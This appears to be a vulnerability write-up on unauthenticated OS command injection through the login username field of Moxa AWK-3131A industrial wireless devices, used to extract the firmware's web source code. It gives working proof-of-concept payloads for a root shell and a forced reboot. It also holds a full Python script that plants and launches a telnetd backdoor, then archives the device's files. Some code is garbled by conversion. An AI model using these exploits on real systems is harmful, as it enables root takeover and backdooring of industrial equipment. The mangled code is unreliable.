Foreword
Because it is necessary to extract the source code to test a certain vulnerability. Unexpectedly, the same series of control port vulnerabilities in 2017 can also be exploited to exploit the Moxa AWK-3131A multiple function login username parameter OS command injection vulnerability.
Firmware source code extraction process
Principle of Vulnerability
There is an exploitable OS command injection vulnerability in the telnet, ssh and console login functions of Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client with firmware versions 1.4~1.7. Commands can be injected through the username parameter of multiple services (ssh, telnet, console), and commands can be executed remotely without authentication.
Vulnerability details
Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless network device used in industrial environments, mainly targeting automatic material handling and automatic guided vehicles.
This vulnerability can remotely inject operating system commands without authentication, and the device will execute the injected operating system commands with root privileges.
Part of the triggering code for the vulnerability is caused by moxa’s failed authentication log creation. Firmware versions 1.4 – 1.7 Any login failure that relies on the Busybox loginutils service will trigger code similar to the following:
sprintf(buf, "/usr/sbin/iw_event_user %s %s %s", IW_LOG_AUTH_FAIL); system(buf)
The username field is passed as a parameter to iweventuser and then passed to the system() function, allowing command injection. The following is the disassembly code for the application portion of the console login failure:
.text:0040D55C lui $a1, 0x4A .text:0040D560 lui $a3, 0x4A .text:0040D564 addiu $a0, $sp, 0x128 + var_108 .text:0040D568 la $a1, aUsrSbinIwEvent # "/usr/sbin/iw_event_user fail SERIAL "%s" "%s"... .text:0040D56C addiu $a2, $sp, 0x128 + var_88 .text:0040D570 j loc_40D584 [...snip...] .text:0040D584 loc_40D584: # CODE XREF: sub_40D0B4 + 4BC↑j .text:0040D584 la $t9, sprintf .text:0040D588 jalr $t9 ; sprintf .text:0040D58C addiu $s4, -1 .text:0040D590 lw $gp, 0x128 + var_110($sp) .text:0040D594 la $t9, system .text:0040D598 jalr $t9 ; system
After injecting an OS command in the username field of the login, the execution of the command can be identified in the process list as shown below.
sh -c /usr/sbin/iw_event_user fail <SERVICE> "`<CMD>`" "<REMOTE_IP:PORT>"
When injecting sh via Telnet, the execution process is as follows.
sh -c /usr/sbin/iw_event_user fail TELNET "`sh`" "<REMOTE_IP:PORT>"
It has been confirmed that the vulnerability can be exploited via Telnet, SSH and the local console port. It is suspected that WEB applications may also be vulnerable, as WEB login also relies on loginutils. And checking the iw_event_user binary file also found “fail” information containing “WEB”, “TELNET” and “SSH”.
By default the device displays stderr output to the console even without authentication. Redirecting stdout to stderr (using 1>&2) allows an attacker to receive console output when injecting OS commands.
Older firmware versions (1.3 and earlier) have similar vulnerabilities, but are difficult to exploit. For example entering sh or reboot through the console port on version 1.0 will cause the console to hang/freeze and require a power cycle. Differences in exploitability between versions may be related to differences in the way logging is generated in v1.4 and earlier.
Versions 1.0 – 1.4
sprintf(buf, "/usr/sbin/iw_event %d", IW_LOG_AUTH_FAIL); system(buf)
POC 1 – telnet, console port
Enter sh enclosed in backticks as the username for the Telnet or console port login prompt. The result is temporary remote shell access with root privileges.
`sh` (backtick sh backtick)
Redirecting stdout to stderr will output echo information on the console.
`sh 1> & amp;2` (backtick sh space 1 greater than ampersand 2 backtick)
POC 2 –SSH
Inject a reboot command in the login parameters via SSH, causing the device to reboot. Use a backslash before each backtick.
ssh \'reboot\`@deviceip (ssh space backslash backtick command backspace backtick @deviceip)
Getshell-POC
Upload and execute code, bypassing space restrictions and input filters
#!/usr/bin/env python2 import telnetlib import re import random import string # Split string into chunks, of which each is <= length def chunkstring(s, length): return (s[0 + i:length + i] for i in range(0, len(s), length)) # Split strings based on MAX_LEN. Encode any newlines and/or spaces. def split_script(script): MAX_LEN = 28 - len('printf${IFS}"">>/var/a') - 1 completed = [] temp = re.split('(\\ )', script) for content in temp: if len(content) != 0: for s in re.split('( )', content): if ' ' in s: s = '\x20' if '\\ ' in s: s = ['\\ '] else: s = list(chunkstring(s, MAX_LEN)) completed.append(s) return [item for sublist in completed for item in sublist] # Flatten nested list items # Execute each command via the username parameter def do_cmd(host, command): tn = telnetlib.Telnet(host) modCommand = command.replace(' ', '${IFS}') # Spaces aren't allowed, replace with ${IFS} tn.read_until("login: ") tn.write("`%s`\\ " % modCommand) print "Sent command: %s\\ modified: %s\\ size: %d" % (command, modCommand, len(modCommand)) tn.read_until("Password: ") tn.write(" " + "\\ ") tn.read_until("incorrect") tn.close() # Write script to writable directory on host def write_script(host, script, t_dir, t_name): print "[*] Writing shell script to host..." i = 0 for token in split_script(script): carat = '>' if i == 0 else '>>' do_cmd(host, 'printf "%s"%s%s/%s' % (token, carat, t_dir, t_name)) i + =1 do_cmd(host, 'chmod + x %s/%s' % (t_dir,t_name)) print "[*] Script written to: %s/%s\\ " % (t_dir,t_name) # Attempt to connect to newly-created backdoor def backdoor_connect(host,port): print "[*] Attempting to connect to backdoor @ %s:%d" % (host, port) tn = telnetlib.Telnet(host, port) tn.interact() def main(): host = "192.168.127.253" port = random.randint(2048,4096) w_dir = '/var' # writable directory s_name = random.choice(string.ascii_uppercase) # /bin/sh launcher t_name = s_name.lower() # telnetd launcher # Need a shell launcher script to launch /bin/sh because # telnetd adds a '-h' option to the login command shell_launcher = "#!/bin/sh\\ exec sh" # Launch telnetd with the launcher script as the login # command to execute telnetd_launcher = "#!/bin/sh\\ telnetd -p%d -l%s/%s" % (port, w_dir,s_name) write_script(host, shell_launcher, w_dir, s_name) write_script(host, telnetd_launcher, w_dir, t_name) # Execute telnetd script and attempt to connect do_cmd(host, '.%s/%s' % (w_dir,t_name)) backdoor_connect(host, port) if __name__ == "__main__": main()
rebound shell
After bouncing back to the shell, the source codes are all under /var/webs/
:
Source code extraction
Enter the WEB directory and execute the packaging command. All packaged data are downloaded from the WEB directory.
cd /var/webs/ tar cvf backup.ar /var/webs/*
By comparing the extracted source code, it is easy to determine a certain function.